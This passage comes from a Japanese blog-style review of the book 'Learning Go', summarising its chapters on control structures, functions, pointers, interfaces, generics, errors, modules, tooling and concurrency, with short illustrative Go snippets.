も良いのでおすすめです。github.comまず、ブロックスコープについては、変数の生存期間と可視性を適切に管理するために欠かせない概念だと感じました。Go言語では、{}で囲まれた部分がブロックを形成し、そのブロック内で宣言された変数は、ブロックの外からはアクセスできません。これにより、コードの可読性が高まり、意図しない変数の変更を防ぐことができます。シャドーイングについては、内側のブロックで宣言された変数が、外側のブロックの変数を隠してしまう現象のことを指します。これは、うっかりミスを引き起こしやすいので注意が必要です。特に、forステートメントの中で変数を再宣言してしまうと、期待した結果が得られないことがあります。一方、制御構文については、if、for、switch、gotoの4つが紹介されていました。覚えることが少ないことは良いことです。なぜなら人はコードを書くより読む時間の方が一般的に長いからです。ifステートメントは、他の言語と同様に条件分岐を行うための構文ですが、Go言語では条件式の前に簡単なステートメントを書くことができるのが特徴的です。これにより、条件式で使う変数をifステートメントのスコープ内に閉じ込めることができ、コードの可読性が向上します。forステートメントは、Go言語で唯一のループ構文であり、4つの形式があります。特に、rangeキーワードを使ったループ処理は、配列やスライス、マップなどの複合型を簡単に反復処理できるので、とても便利です。switchステートメントは、式を評価し、その値に基づいて条件分岐を行う構文です。Go言語のswitchは、breakを書かなくてもフォールスルーしないのがデフォルトの挙動なので、コードの可読性が高くなります。また、式を書かずに条件式だけを列挙するブランクスイッチも用意されており、複数の条件を簡潔に表現できます。gotoステートメントについては、安易に使うとコードの可読性を下げてしまうので、慎重に使う必要があると感じました。ただし、ネストが深いループを抜けるために使うなど、限定的な状況では有用であることも分かりました。本章で学んだ制御構文を使ったコーディングの練習問題が用意されていました。ランダムな数値を生成してスライスに格納したり、forループとifステートメントを組み合わせて条件分岐を行ったりと、基本的な制御構文の使い方が身につく内容でした。解答例を見ると、GoらしいコードのベストプラクティスがEe察でき、とても勉強になりました。github.com本章のまとめとして、ブロックスコープ、シャドーイング、制御構文を適切に使いこなすことの重要性が述べられていました。特に、制御構文を適切に使いこなすことで、Goのコードの流れを思い通りに制御できるようになることが強調されていました。技術的な観点からは、forステートメントの4つの形式についての理解が深まりました。特に、rangeキーワードを使ったforステートメントは、Goでデータ構造を反復処理する上で非常に重要だと感じました。また、switchステートメントのブランクスイッチについても、複数の条件を簡潔に表現できる点が印象的でした。gotoステートメントについては、使うべきシーンを見極めるのが難しいですが、限定的な状況では有用であることが分かりました。func main() { evenVals := []int{2, 4, 6, 8, 10, 12} for i, v := range evenVals { if i%2 == 0 { fmt.Println(v, \\"is at an even index\\") } else { fmt.Println(v, \\"is at an odd index\\") } }}上のコードは、forステートメントとifステートメントを組み合わせて、スライスの要素のインデックスの偶奇を判定しています。このように、制御構文を適切に使いこなすことで、シンプルかつ読みやすいコードを書くことができます。Chapter 5. Functions「Chapter 5. Functions」では、Go言語の関数について詳しく学ぶことができました。関数は、プログラムを構成する上で欠かせない要素であり、Go言語らしい特徴を備えています。この辺は実際に手を動かさないとピンとこないので動かしていってほしいです。go.devGo言語の関数宣言は、キーワードfuncに続いて関数名、入力パラメータ、戻り値の型を指定する形式です。C言語などと同様に、複数の値を返すことができるのが特徴的でした。これにより、関数の戻り値を介してエラーを返すことが可能になり、Goらしいエラーハンドリングが実現できます。また、名前付き戻り値という機能も印象的でした。これは、関数の戻り値に名前を付けることで、関数内で直接それらの変数を操作できるようにするものです。ただし、可読性を損なわないよう、この機能は慎重に使う必要があると感じました。一方で、Go言語の関数には、可変長引数がありこれは、任意の数の引数を関数に渡すことができる機能で、fmt.Printlnなどでも使われています。また、無名関数を利用することで、関数内で動的に関数を生成することも可能です。これらの機能は、柔軟かつ表現力豊かなコードを書く上で重要だと感じました。クロージャは、Go言語の強力な機能の一つです。関数の外で定義された変数を関数内で参照し、その値を変更できるのがクロージャの特徴です。これを応用することで、関数に状態を持たせることができ、より高度なプログラミングが可能になります。例えば、sort.Sliceでは、クロージャを利用してソート条件を指定しています。また、defer文は、関数の終了時に必ず実行されるコードを登録するための機能です。これを使えば、ファイルのクローズ処理などを簡潔に記述でき、リソースの適切な管理が容易になります。deferは名前付き戻り値と組み合わせることで、エラーハンドリングにも活用できます。Go言語では、すべての型がValueセマンティクスを持つため、関数の引数として渡された変数は、常にコピーが渡されます。これにより、関数内で引数の値を変更しても、呼び出し元の変数には影響を与えません。ただし、マップやスライスは参照型なので、関数内での変更が呼び出し元に反映されるという特殊な挙動を示します。は、この違いを端的に表した例だと思います。Exercisesでは、これまで学んだ関数に関する知識を活用する問題が用意されていました。計算機のプログラムにエラーハンドリングを追加したり、ファイルの長さを返す関数を書いたりと、実践的なコーディングの練習になりました。また、クロージャを使って、プレフィックスを付ける関数を生成する問題もあり、Go言語らしい関数の使い方が身につく内容でした。github.comWrapping Upでは、この章で学んだことの総括として、Go言語の関数の特徴と、それを活かしたプログラミングの重要性が述べられていました。関数を適切に使いこなすことで、Goのコードをより効果的に構成できるようになるでしょう。技術的な観点からは、可変長引数やクロージャ、名前付き戻り値など、Go言語特有の関数の機能についての理解が深まりました。特に、クロージャを利用した関数の実装は、Go言語らしいイディオムの一つだと感じました。また、defer文についても、リソース管理やエラーハンドリングにおける有用性を実感できました。func main() { nums := []int{1, 2, 3, 4, 5} doubles := transform(nums, func(x int) int { return x * 2 }) fmt.Println(doubles)}func transform(slice []int, f func(int) int) []int { transformed := make([]int, len(slice)) for i, v := range slice { transformed[i] = f(v) } return transformed}上のコードは、クロージャを利用して、スライスの各要素を変換するtransform関数の例です。このように、関数を引数として受け取ることで、柔軟な処理を実現できます。総括すると、この章ではGo言語の関数について網羅的かつ体系的に学ぶことができました。関数宣言や複数の戻り値、可変長引数など、他の言語と共通する機能に加えて、クロージャやdeferなど、Go言語特有の機能についても詳しく解説されていました。これらを適切に使いこなすことが、Goらしいコードを書く上で重要だと感じました。また、学んだ関数の機能を実際のコードに落とし込む練習ができたのも良かったです。エラーハンドリングやファイル操作など、実用的な関数の書き方が身についたと思います。関数は、プログラムを構成する上で中心的な役割を果たします。**Go言語の関数には、シンプルな書き方を維持しつつ、高度なことを実現するための機能が備わっています。Chapter 6. Pointers「Chapter 6. Pointers」は、Goプログラミングにおけるポインタの概念と活用方法を深く理解するために非常に重要な章です。ポインタは、他の言語ではしばしば難解で危険なものとして扱われることがありますが、Goではその扱いやすさと効率性が際立っています。著者は、まずポインタの基本的な文法と動作について丁寧に解説しています。ポインタは、変数が格納されているメモリアドレスを保持する特別な変数であり、アドレス演算子(&)とデリファレンス演算子(*)を用いて操作します。そして、ポインタ型の宣言方法やnilポインタの概念についても触れています。次に、著者はポインタの活用方法について、他の言語との比較を交えながら詳しく説明しています。Goでは、ポインタを使用するかどうかを開発者が選択できるため、不変性を保ちつつ、必要に応じてデータの変更を行うことができます。この柔軟性は、Goの強力な特徴の一つと言えるでしょう。また、ポインタを関数の引数や戻り値として使用する際の注意点についても言及されています。特に、nilポインタを関数に渡した場合の動作や、ポインタのコピーがもたらす影響について、具体的なコード例を用いて解説されています。さらに、著者はポインタの性能面でのメリットについても触れています。大きなデータ構造体をポインタで渡すことで、関数呼び出しのオーバーヘッドを削減できることが示されています。ただし、著者は安易なポインタの使用を戒めており、可能な限り値型を使用するべきだと主張しています。Figure 6-5. The memory layout of a slice より引用マップとスライスのポインタ実装の違いについても、詳細に解説されています。マップはポインタとして実装されているため、関数に渡すと元の変数に影響を与えますが、スライスは長さと容量の情報も含むため、より複雑な動作をします。特に、スライスの長さを変更しても元の変数には影響しないという特性は、バッファとしてスライスを活用する際に重要です。Figure 6-9. Changing the capacity changes the storage より引用メモリ割り当てとガベージコレクションについても、Goの特徴が詳しく解説されています。Goは、スタックとヒープを適切に使い分けることで、効率的なメモリ管理を実現しています。著者は、ヒープ割り当てを最小限に抑え、ガベージコレクターの負荷を減らすことの重要性を強調しています。この「機械的な共感」の考え方は、Goプログラミングにおいて非常に重要な概念だと言えます。最後に、著者はガベージコレクターのチューニング方法についても触れています。GOGCとGOMEMLIMITの環境変数を適切に設定することで、ガベージコレクションの頻度やメモリ使用量を制御できることが示されています。ポインタに関する実践的な演習問題が提供されています。Personの構造体を使ったポインタの活用や、スライスの動作の理解を深める問題など、ポインタの理解を深めるために有益な問題が用意されています。これらの演習を通して、読者はポインタの概念を実際のコードに落とし込む力を身につけることができるでしょう。この章でポインタの重要性と適切な使用方法について再確認できました。著者は、次章で扱うメソッド、インターフェース、型についても、ポインタの理解が役立つことを示唆しています。Chapter 7. Types, Methods, and Interfaces「Chapter 7. Types, Methods, and Interfaces」は、Go言語のオブジェクト指向プログラミングの特徴を理解する上で非常に重要な章です。著者は、Goが他の言語とは異なるアプローチを取っていることを強調しつつ、型、メソッド、インターフェースの使い方とベストプラクティスを丁寧に解説しています。Goの型システムは、シンプルでありながら非常に強力です。 著者は、ユーザー定義型の宣言方法や、型宣言が「実行可能なドキュメンテーション」としての役割を果たすことを説明しています。また、iotaを使った列挙型の定義方法についても触れ、iotaの適切な使用方法を示しています。メソッドについては、レシーバーの指定方法や、ポインタレシーバーとバリューレシーバーの使い分けが重要なポイントです。著者は、nilインスタンスを適切に扱うためのテクニックや、メソッドが関数としても扱えることを示し、メソッドと関数の使い分け方についても言及しています。Goのインターフェースは、型安全な「ダックタイピング(Duck typing)」を実現する強力な機能です。ダックタイピングとは、オブジェクトの 型(クラス)を明示的に宣言せずに 、オブジェクトの振る舞い(メソッド)やプロパティを利用することで、そのオブジェクトの型(クラス)を推測する手法です。。 著者は、インターフェースの暗黙的な実装がもたらす柔軟性と、明示的なインターフェースに比べた利点を詳しく説明しています。また、インターフェースとnilの関係や、インターフェースの比較可能性についても触れ、インターフェースを適切に使いこなすためのヒントを提供しています。特に印象的だったのは、「Accept Interfaces, Return Structs」というアドバイスです。関数やメソッドの引数としてインターフェースを受け取り、戻り値としてコンクリートな型を返すことで、APIの柔軟性と保守性を高めることができます。 ただし、パフォーマンスとのトレードオフにも注意が必要です。著者は、Goの暗黙的なインターフェースが、依存性の注入を容易にすることも指摘しています。サンプルコードを用いて、インターフェースを介して依存関係を外部化する方法を具体的に示しており、読者は実践的なスキルを身につけることができます。type DataStore interface { UserNameForID(userID string) (string, bool)}type Logger interface { Log(message string)}type SimpleLogic struct { l Logger ds DataStore}func (sl SimpleLogic) SayHello(userID string) (string, error) { sl.l.Log(\\"in SayHello for \\" + userID) name, ok := sl.ds.UserNameForID(userID) if !ok { return \\"\\", errors.New(\\"unknown user\\") } return \\"Hello, \\" + name, nil}func (sl SimpleLogic) SayGoodbye(userID string) (string, error) { sl.l.Log(\\"in SayGoodbye for \\" + userID) name, ok := sl.ds.UserNameForID(userID) if !ok { return \\"\\", errors.New(\\"unknown user\\") } return \\"Goodbye, \\" + name, nil}これまで学んだ概念を応用する練習問題が用意されています。バスケットボールリーグを管理するプログラムを作成する過程で、型、メソッド、インターフェースの使い方を体験的に学ぶことができます。これらの演習を通して、読者はGoの型システムに対する理解を深め、実践的なスキルを磨くことができると思います。章全体としてGoの型システムの特徴とベストプラクティスについて再確認しています。Chapter 8. Generics「Chapter 8. Generics」は、Go言語におけるジェネリクスの概念と使用方法を深く理解するために非常に重要な章です。ジェネリクスは、Go言語の型システムに大きな変革をもたらす機能であり、コードの再利用性と柔軟性を大幅に向上させることができます。 著者は、この章を通して、ジェネリクスの必要性、基本的な使い方、制限事項、そして適切な活用方法について丁寧に解説しています。まず、著者はジェネリクスの必要性について説明しています。Go言語は静的型付け言語であり、関数やデータ構造の型を明示的に指定する必要があります。しかし、異なる型に対して同じロジックを適用したい場合、ジェネリクスがないと、コードの重複が避けられません。これは、コードの保守性を低下させ、バグを引き起こす可能性があります。ジェネリクスを使うことで、型に依存しないアルゴリズムを一度だけ実装し、様々な型に対して再利用できるようになります。次に、著者はジェネリクスの基本的な使い方について説明しています。Go言語のジェネリクスは、型パラメータを使って実現されます。型パラメータは、関数やデータ構造の定義時に指定し、具体的な型の代わりに使用します。型パラメータには制約を設けることができ、許容する型を限定することができます。 これにより、コンパイル時の型安全性を確保しつつ、柔軟性を維持することができます。著者は、スタック(stack)のデータ構造を例に、ジェネリクスの使い方を具体的に示しています。ジェネリックなスタックの実装では、要素の型を型パラメータで表現し、anyとcomparableという組み込みのインターフェースを制約として使用しています。これにより、任意の型の要素を持つスタックを、一つの実装で表現できます。また、comparableを使うことで、要素の比較が必要な操作も、型安全に行えるようになります。さらに、著者はジェネリックな関数 Map 、 Reduce 、 Filter の実装を紹介しています。これらの関数は、スライスに対する一般的な操作を抽象化したもので、様々な型のスライスに適用できます。これにより、コードの重複を大幅に削減でき、アルゴリズムの本質に集中できるようになります。また、著者はジェネリクスとインターフェースの関係についても説明しています。インターフェースを型制約として使うことで、ジェネリックな型に特定のメソッドを要求できます。 これにより、より細かな制約を設けることができ、コードの安全性を高められます。さらに、インターフェース自体をジェネリック化することで、より柔軟な抽象化が可能になります。型の要素(type elements)についても詳しく解説されています。型の要素を使うことで、特定の演算子をサポートする型だけを受け入れるジェネリックな関数を定義できます。 これは、数値計算などで特に役立ちます。著者は、Integerというインターフェースを定義し、整数型に対する演算を抽象化する例を示しています。ジェネリックな関数とデータ構造を組み合わせることで、より汎用的なコードを書くことができます。著者は、バイナリツリーの例を用いて、比較関数をジェネリック化することで、任意の型に対応できるようになることを示しています。これにより、コードの再利用性が大幅に向上します。type OrderableFunc[T any] func(t1, t2 T) intfunc NewTree[T any](f OrderableFunc[T]) *Tree[T] { return &Tree[T]{ f: f, }}comparableインターフェースとジェネリクスの関係についても、注意点が説明されています。comparableを型制約として使う場合、比較可能でない型が渡されるとランタイムパニックが発生する可能性があります。これを防ぐためには、コンパイル時に型チェックを行う必要があります。また、著者はジェネリクスの現在の制限についても言及しています。Go言語のジェネリクスは、他の言語に比べてシンプルな設計になっており、特殊化やカリー化、メタプログラミングなどの機能は提供されていません。 これは、Go言語のシンプルさと読みやすさを維持するための判断だと考えられます。ジェネリクスの導入により、Go言語のイディオマティックな書き方にも変化が生じます。著者は、float64を汎用的な数値型として使う慣習が廃れ、anyがinterface{}に取って代わることを指摘しています。また、ジェネリクスを使うことで、異なる型のスライスを統一的に扱えるようになります。ただし、既存のコードをジェネリクスに置き換える際は、慎重に行う必要があります。パフォーマンスへの影響については、まだ評価が定まっていません。一部のケースでは、ジェネリクスを使うことでコードが遅くなることが報告されています。しかし、ソートアルゴリズムでは、ジェネリクスを使うことで速度が向上するという報告もあります。著者は、可読性と保守性を重視しつつ、必要に応じてベンチマークを取ることを推奨しています。標準ライブラリへのジェネリクスの導入は慎重に行われています。 当初はanyとcomparableのみが追加されましたが、Go 1.21からは、スライスとマップ、並行処理に関する関数が追加されています。これらの関数は、よく使われる操作を抽象化し、コードの重複を削減するのに役立ちます。今後も、ジェネリクスを活用した新しい関数やデータ型が追加されていくことが期待されます。最後に、著者はジェネリクスによって可能になる将来の機能について言及しています。ジェネリクスを基礎として、より高度な型システムを構築できる可能性があります。 例えば、和型(sum types)を導入することで、型安全性を高めつつ、柔軟なデータ表現が可能になります。また、Goの列挙型の弱点を克服する手段としても、和型は有望視されています。本章ではジェネリクスに関する実践的な演習問題が用意されています。整数と浮動小数点数の両方に対応する関数の作成や、特定の型を要求するインターフェースの定義など、ジェネリクスの基本的な使い方から応用までを網羅しています。これらの演習を通して、読者はジェネリクスの概念を実際のコードに落とし込む力を身につけることができるでしょう。github.com章全体の内容を振り返り、ジェネリクスの重要性と将来の可能性について再確認できました。著者は、ジェネリクスがGo言語の表現力を高め、コードの再利用性を向上させる強力な機能であると強調しています。 一方で、Go言語のシンプルさを維持するために、ジェネリクスの機能は意図的に制限されています。これからのGo言語の発展において、ジェネリクスがどのように活用されていくのか、楽しみにしていると述べています。ジェネリクスは、Go言語の未来を切り拓く重要な機能であると言えます。 それを適切に使いこなすことで、より柔軟で保守性の高いコードを書けるようになるでしょう。一方で、ジェネリクスの濫用は、かえってコードの複雑さを増し、可読性を損なう恐れがあります。今後、Go言語のエコシステムにおいて、ジェネリクスを活用したライブラリやフレームワークが登場することが期待されますが、それらを適切に評価し、選択していく眼を養う必要があります。Chapter 9. Errors「Chapter 9. Errors」は、Go言語におけるエラーハンドリングの基本から応用までを網羅的に解説した章です。この章を通して、Go言語のエラー処理の特徴と、それを適切に使いこなすためのテクニックについて理解を深めることができました。Go言語のエラー処理は、他の言語の例外処理とは一線を画しています。Goでは、エラーは関数の戻り値として返され、呼び出し元で明示的にチェックする必要があります。 これは一見、冗長で面倒に感じるかもしれませんが、実際には、コードの流れを明確にし、エラーを見落とすリスクを減らすことができます。著者は、この設計の背景にある「Goの哲学」について丁寧に説明しており、納得感を持って読み進めることができました。Go言語のベストプラクティスとして、「Accept interfaces, return structs」という原則があります。これは、関数やメソッドの引数としてインターフェースを受け取り、戻り値として具体的な構造体を返すことを推奨するものです。エラー処理においても、この原則を応用し、具体的なエラー型を返すことで、呼び出し元が適切にエラーを処理できるようになります。特に印象的だったのは、カスタムエラー型の定義方法と活用方法です。Goでは、エラーをただの文字列ではなく、構造体として定義することができます。これにより、エラーに付加情報を持たせたり、エラーの種類によって処理を変えたりすることが可能になります。著者は、カスタムエラー型の定義方法から、そのメソッドの実装、そしてerrors.Isやerrors.Asを使った高度なエラー処理までを、具体的なコード例を交えて解説しています。type MyError struct { Codes []int}func (me MyError) Error() string { return fmt.Sprintf(\\"codes: %v\\", me.Codes)}func (me MyError) Is(target error) bool { if me2, ok := target.(MyError); ok { return slices.Equal(me.Codes, me2.Codes) } return false}また、エラーのラップ(wrapping)とアンラップ(unwrapping)についても詳しく解説されていました。fmt.Errorfの%w動詞を使えば、元のエラーを失わずに新しいエラーメッセージを追加できます。これにより、エラーが発生した場所や状況を詳細に伝えつつ、根本原因を追跡することができます。逆に、errors.Unwrapを使えば、ラップされたエラーから元のエラーを取り出すことができます。実際にカスタムエラー型を定義し、エラーをラップ・アンラップする練習問題が用意されていました。これらの問題を通して、エラー処理の基本的な書き方だけでなく、より実践的なテクニックも身につけることができました。特に、複数のエラーをまとめて返す方法や、deferを使ったエラーハンドリングの例は、実際のプロジェクトでも役立つと感じました。github.com一方で、panicとrecoverについては、慎重に使うべきだと改めて認識しました。 panicは、回復不可能なエラーが発生した場合に使うべきであり、安易に使うとかえってコードの可読性を損ねてしまいます。recoverは、panicからの復帰を可能にしますが、ライブラリのAPI境界を越えてpanicを伝播させるべきではありません。著者は、panicとrecoverの適切な使い方について、具体的な指針を示しています。func div60(i int) { defer func() { if v := recover(); v != nil { fmt.Println(v) } }() fmt.Println(60 / i)}この章でGo言語のエラー処理の特徴とベストプラクティスが再確認されています。 エラーを単なる例外ではなく、値として扱うことで、より柔軟で表現力豊かなエラーハンドリングが可能になります。一方で、その自由度ゆえに、適切なエラー処理を行うには、一定の規律と経験が必要になります。総括すると、この章ではGo言語のエラー処理について体系的に学ぶことができました。 エラーを値として扱う考え方や、カスタムエラー型の定義方法、エラーのラップとアンラップ、panicとrecoverの適切な使い方など、Go言語ならではのエラー処理の特徴と、それを活かすためのベストプラクティスについて理解を深めることができました。特に、実際のコードを書く上では、エラー処理を適切に行うことが、コードの品質と保守性を大きく左右します。 単にエラーを無視するのではなく、適切にエラーをハンドリングし、ログ出力や監視システムと連携させることが重要です。また、ライブラリやパッケージを設計する際は、エラーをどのように定義し、どのように返すかを慎重に検討する必要があります。Chapter 10. Modules, Packages, and Imports「Chapter 10. Modules, Packages, and Imports」は、Go言語におけるコード管理と外部ライブラリの利用について、非常に重要な概念を丁寧に解説した章です。この章を通して、私はGoのモジュールシステムの特徴と、それを活用するためのベストプラクティスについて理解を深めることができました。まず、モジュール、パッケージ、レポジトリの関係性について明確に説明されていました。モジュールはソースコードの集合体であり、バージョン管理されるユニットです。パッケージはモジュールを構成する要素であり、ディレクトリと1対1で対応します。レポジトリはモジュールを格納する場所です。これらの概念を正しく理解することは、Goでのコード管理を行う上で欠かせません。次に、go.modファイルの役割と記述方法について解説されていました。go.modファイルは、モジュールのメタデータとその依存関係を記述するファイルです。moduleディレクティブでモジュールのパスを宣言し、goディレクティブで必要なGoのバージョンを指定し、requireディレクティブで依存モジュールとそのバージョンを記述する。この構文を理解することで、自分のモジュールを適切に定義し、外部モジュールを利用できるようになります。また、パッケージの作成方法と命名規則、内部パッケージの役割などについても詳しく説明されていました。パッケージ名はディレクトリ名と一致させるべきであり、機能を適切に分割し、依存関係を最小限に抑えるべきです。 内部パッケージを使えば、モジュール内だけで共有したいコードを適切に隠蔽できます。これらのベストプラクティスを意識することで、保守性の高いコードを書けるようになるでしょう。さらに、GoDocコメントの書き方と、pkg.go.devを使ったドキュメントの公開方法も紹介されていました。適切なGoDocコメントを書くことで、自分のパッケージをわかりやすく説明でき、pkg.go.devで自動的にドキュメントを公開できます。これにより、他の開発者が自分のパッケージを使いやすくなり、オープンソースへの貢献にもつながります。モジュールのバージョニングについては、セマンティックバージョニングのルールに従うべきだと強調されていました。APIの互換性を維持しつつ、適切にバージョンを上げていくことが重要です。不適切なバージョンを公開してしまった場合の対処方法として、retractディレクティブの使い方も説明されていました。モジュールプロキシとチェックサムデータベースの仕組みについても、セキュリティの観点から重要な説明がありました。デフォルトではGoogleが運営するプロキシサーバとチェックサムデータベースが使われ、モジュールの整合性が検証されます。 必要に応じて、独自のプロキシサーバを立てたり、プロキシを無効化したりできることも示されていました。また、GoのWorkspaceを使えば、複数のモジュールを同時に編集できることが紹介されていました。これにより、モジュール間の変更を簡単にテストでき、開発の効率が上がります。 ただし、Workspaceの情報をバージョン管理システムにコミットしないよう注意が必要です。サンプルコードを見ると、モジュールの作成から公開、利用までの一連の流れが具体的に示されていました。go mod initでモジュールを初期化し、go getで依存関係を解決し、go buildでビルドする。このような一連のコマンドを適切に使いこなすことが、Goでの開発には欠かせません。$ go mod init github.com/learning-go-book-2e/money$ go get ./...$ go buildExercisesでは、自分でモジュールを作成し、バージョニングやドキュメンティングを実践する課題が用意されていました。実際にコードを書いて、モジュールの作成から公開までの流れを体験することは、理解を深める上で非常に有効だと感じました。// Add adds two numbers together and returns the result. //// More information on addition can be found at [https://www.mathsisfun.com/numbers/addition.html](https://www.mathsisfun.com/numbers/addition.html).func Add[T Number](a, b T) T { return a + b}Goの優れたモジュールシステムを活用することで、コードの管理がしやすくなり、外部ライブラリも安全に利用できるようになります。一方で、適切なバージョニングやドキュメンティングを行うことが、モジュールの作者としての責務であることも強調されていました。この章ではGoにおけるコード管理と外部ライブラリ利用のベストプラクティスについて、体系的に学ぶことができました。モジュール、パッケージ、レポジトリの関係性、go.modファイルの記述方法、パッケージの設計原則など、Goでの開発に欠かせない知識が丁寧に解説されていました。またモジュールのバージョニングやドキュメンティングの重要性についても、実例を交えて説明されていました。特に、モジュールプロキシとチェックサムデータベースの仕組みは、Goの優れたエコシステムを支える重要な基盤だと感じました。セキュリティと利便性を高いレベルで両立させているGoの設計思想に、改めて感銘を受けました(以前、何かの勉強会で聞いた気がするがすっかり忘れていた)。Chapter 11. Go Tooling「Chapter 11. Go Tooling」は、Goプログラミングにおける開発ツールの重要性と活用方法について深く理解するための重要な章でした。この章を通して、私はGoの豊富な標準ツールと、サードパーティのツールを組み合わせることで、より効率的で高品質なコードを書けるようになると実感しました。著者は、まずgo runを使って小さなプログラムを素早く試す方法を紹介しました。これにより、コンパイルと実行を一度に行え、スクリプト言語のような気軽さでGoを使えるようになります。Goがコンパイル言語でありながら、インタプリタ言語のような利便性も兼ね備えている点が印象的でした。次に、go installを使ってサードパーティのツールをインストールする方法が解説されました。Goのツールエコシステムは非常に充実しており、多くの優れたツールがオープンソースで公開されています。go installを使えば、それらのツールを簡単にインストールし、自分の開発環境に取り込むことができます。また、著者はgoimportsを使ってインポートの整形を改善する方法も紹介しました。これはgo fmtの機能を拡張したもので、不要なインポートを削除し、必要なインポートを自動的に追加してくれます。コードの可読性と保守性を高めるために、goimportsを活用すべきだと感じました。コード品質をチェックするツールとして、staticcheck、revive、golangci-lintが紹介されていました。これらのツールは、潜在的なバグや非効率的なコードを検出し、Goのベストプラクティスに沿ったコードを書くのに役立ちます。特にgolangci-lintは、多数のリンターを統合的に使える便利なツールだと感じました。また、著者はgovulncheckを使って脆弱性のある依存関係をスキャンする方法も解説しました。サードパーティのライブラリを利用する際は、既知の脆弱性がないかチェックすることが重要です。govulncheckを活用することで、セキュリティリスクを早期に発見し、対処できるようになります。さらに、go:embedを使ってコンテンツをプログラムに埋め込む方法や、go generateを使ってコード生成を自動化する方法も紹介されていました。これらの機能を活用することで、より柔軟でメンテナンスしやすいコードを書けるようになると感じました。著者は、クロスコンパイルやビルドタグを使って、異なるプラットフォームやバージョンのGoに対応する方法も解説しました。Goのポータビリティの高さを活かすためには、これらの機能を理解し、適切に使いこなすことが重要だと感じました。Exercisesでは、埋め込みやクロスコンパイル、静的解析など、この章で学んだ機能を実践的に使う課題が用意されていました。実際にコードを書いて試すことで、ツールの使い方や注意点を体験的に学ぶことができました。//go:embed english_rights.txtvar englishRights string//go:embed all:var allRights embed.FSfunc main() { if len(os.Args) != 2 { fmt.Println(\\"Please specify a language\\") os.Exit(1) } language := os.Args[1] data, err := allRights.ReadFile(language + \\"_rights.txt\\") if err != nil { fmt.Printf(\\"No UDHR found for language %s\\\\n\\", language) os.Exit(1) } fmt.Println(string(data))}Goの標準ツールとサードパーティのツールを適切に組み合わせることで、より効率的で高品質なコードを書けるようになります。一方で、ツールを過信せず、その出力を批判的に評価することも大切だと強調されていました。この章ではGoの開発ツールについて網羅的に学ぶことができました。go runやgo installなどの基本的なツールの使い方から、staticcheckやgolangci-lintなどの高度なリンターの活用法、go:embedやgo generateなどの特殊機能まで、Goでの開発に欠かせないツールの数々が丁寧に解説されていました。特に、サードパーティのツールを積極的に活用することの重要性を再認識しました。Goの標準ツールは非常に充実していますが、コミュニティの知恵を結集したサードパーティのツールを併用することで、さらに開発の生産性と品質を高められると感じました。Chapter 12. Concurrency in Go「Chapter 12. Concurrency in Go」を通して、Go言語の並行処理モデルの特徴と使い方、そしてベストプラクティスについて深く理解することができました。この章は、Go言語を使いこなす上で欠かせない重要なトピックを丁寧に解説しており、実践的な知識を身につけるのに最適だと感じました。また、並列処理に関してはブログも書籍もたくさんあるので気になる方がいましたら是非にです。Go言語による並行処理作者:Katherine Cox-BudayオライリージャパンAmazonGo言語の並行処理モデルは、Communicating Sequential Processes(CSP)をベースにしており、その中心的な概念がgoroutineとchannelです。goroutineは、Goランタイムによって管理される軽量のスレッドのようなもので、OS レベルのスレッドよりもはるかに少ないオーバーヘッドで大量に生成・管理できます。一方、channelは、goroutine間でデータを共有するためのパイプのようなもので、型安全でデッドロックを防ぐための仕組みが備わっています。著者は、まず並行処理を使うべきケースについて説明しました。並行処理は、必ずしもプログラムを高速化するわけではなく、IO バウンドなタスクでない限り、オーバーヘッドが大きくなる可能性があると指摘しています。そのため、並行処理を適用する前に、ベンチマークを取って本当にメリットがあるかを確認すべきだと強調していました。次に、goroutineとchannelの基本的な使い方が解説されました。goroutineは、goキーワードを関数呼び出しの前に置くだけで簡単に生成でき、channelはmake関数で作成します。unbuffered channelとbuffered channelの違いや、for-rangeループを使ったchannelの読み取り方法なども丁寧に説明されていました。また、channelを適切にクローズすることの重要性も強調されていました。クローズされたchannelからの読み取りは、その型のゼロ値を返すという特殊な動作を理解しておく必要があります。複数のgoroutineが同じchannelに書き込む場合は、sync.WaitGroupを使ってすべてのgoroutineの終了を待ってからクローズすべきだとのアドバイスもありました。select文は、複数のchannelを扱う際に欠かせない重要な構文です。selectを使えば、複数のchannelを監視し、読み書き可能になったchannelを選択して処理できます。著者は、selectがデッドロックを防ぐ上で重要な役割を果たすことを具体的なコード例で示していました。続いて、並行処理のベストプラクティスとパターンが紹介されました。特に印象的だったのは、APIをconcurrency-freeに保つべきというアドバイスです。並行処理はあくまで実装の詳細であり、ユーザーに不要な複雑さを押し付けるべきではないというのは、納得のいく指摘だと感じました。また、goroutineのリークを防ぐために、必ず終了するようにすべきだという点も重要でした。contextパッケージを使ってgoroutineをキャンセルする方法や、for-selectループから適切に抜ける方法などが具体的に示されていました。バッファ付きchannelの使いどころについても、詳しく解説されていました。バッファ付きchannelは、goroutineの数を制限したり、キューに溜まった処理を制御したりするのに便利です。一方で、不適切に使うとデッドロックを引き起こす可能性もあるため、慎重に検討すべきだと強調されていました。また、バックプレッシャーを実装する方法として、バッファ付きchannelとselect文を組み合わせるアプローチが紹介されていました。これにより、同時実行数を制限しつつ、処理を適切にブロックできるようになります。さらに、select文のcaseを動的にオン・オフする方法として、nil channelを活用するテクニックも面白かったです。クローズしたchannelからの読み込みが、ゼロ値を返し続けてしまう問題を回避できる優れたアイデアだと感じました。一方で、mutexについても適切に使いこなすことの重要性が述べられていました。goroutineとchannelだけでは実現が難しい、共有リソースの保護などでは、mutexが適していると指摘されていました。ただし、mutexの濫用は避けるべきで、可能な限りchannelを使うのがよいとのアドバイスもありました。最後に、これまで学んだ概念を組み合わせて、非同期なパイプラインを実装するサンプルコードが示されていました。goroutine、channel、select、contextを適切に使い分けることで、タイムアウト制御や複数のWeb 